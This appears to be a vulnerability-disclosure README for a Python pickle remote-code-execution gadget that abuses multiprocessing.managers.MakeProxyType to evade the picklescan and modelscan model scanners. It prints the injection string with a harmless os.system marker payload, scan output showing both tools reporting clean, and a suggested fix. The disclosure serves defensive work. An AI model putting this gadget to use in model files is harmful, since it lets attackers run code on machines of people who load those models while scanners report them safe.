EnigmaConsultant's picture
Upload README.md with huggingface_hub
3525eb4 verified
|
Raw
History Blame Contribute Delete
3.07 kB
# Dual-scanner pickle RCE gadget: `multiprocessing.managers.MakeProxyType`
**Class:** Model File Vulnerability / scanner evasion (pickle deserialization RCE)
**Affected scanners bypassed:** picklescan 1.0.5 AND modelscan 0.8.8 (both scan CLEAN)
**Primitive:** single-`REDUCE` arbitrary command execution via a dangerous stdlib
global that is on **neither** scanner's unsafe-globals blocklist.
## Summary
`multiprocessing.managers.MakeProxyType(name, exposed)` builds a proxy class by
interpolating every element of `exposed` (nominally "method names") **raw** into
an `exec()` template using `%s`:
```python
for meth in exposed:
exec('''def %s(self, /, *args, **kwds):
return self._callmethod(%r, args, kwds)''' % (meth, meth), dic)
```
The first `%s` substitution places `meth` unescaped immediately after `def `. A
crafted "method name" containing newlines closes that `def` and injects
arbitrary **top-level** statements that execute the moment `exec()` runs. Because
`MakeProxyType` is a plain module-level callable, a single pickle
`GLOBAL multiprocessing.managers MakeProxyType` + args tuple + `REDUCE` triggers
arbitrary code execution during `pickle.load`.
Neither picklescan nor modelscan lists `multiprocessing` (or any submodule) in
its unsafe-globals map, so both tools report the file as clean.
## The gadget
Reduce: `MakeProxyType('EvilProxy', [MID])` where
```
MID = 'f():\n pass\nimport os\nos.system("touch /tmp/PWNED_MPTYPE_PICKLE")\ndef g'
```
The generated source becomes:
```python
def f():
pass
import os
os.system("touch /tmp/PWNED_MPTYPE_PICKLE") # <-- runs at exec() time
def g(self, /, *args, **kwds):
return self._callmethod('f():\n ...', args, kwds)
```
## Verification (current released versions)
```
$ picklescan -p model.pkl # picklescan 1.0.5
Infected files: 0
Suspicious globals: 1 # identical bucket a benign `dict` pickle lands in
Dangerous globals: 0 # <-- NOT flagged
exit=0
$ modelscan -p model.pkl # modelscan 0.8.8
No issues found! πŸŽ‰
total_issues: 0
$ python -c "import pickle; pickle.load(open('model.pkl','rb'))"
$ ls /tmp/PWNED_MPTYPE_PICKLE
/tmp/PWNED_MPTYPE_PICKLE # *** RCE ***
```
Confirmed executing on **Python 3.12** (scan venv) and **Python 3.13**.
### Benign control
`benign.pkl` (`dict([('a',1)])`) yields the *same* picklescan verdict
(`Suspicious globals: 1, Dangerous globals: 0`, exit 0) β€” demonstrating that
picklescan applies no danger classification to the malicious global and treats
this RCE gadget identically to a harmless builtin.
## Files
- `model.pkl` β€” the malicious gadget (payload: `touch /tmp/PWNED_MPTYPE_PICKLE`)
- `benign.pkl` β€” benign control
- `build_poc.py` β€” regenerates both pickles
- `scan_evidence.txt` β€” raw picklescan + modelscan output
## Fix
Add `multiprocessing`/`multiprocessing.managers` (`MakeProxyType`) to both
scanners' unsafe-globals maps; upstream, `MakeProxyType` should validate that
each `exposed` entry is a valid identifier before interpolating it into `exec`.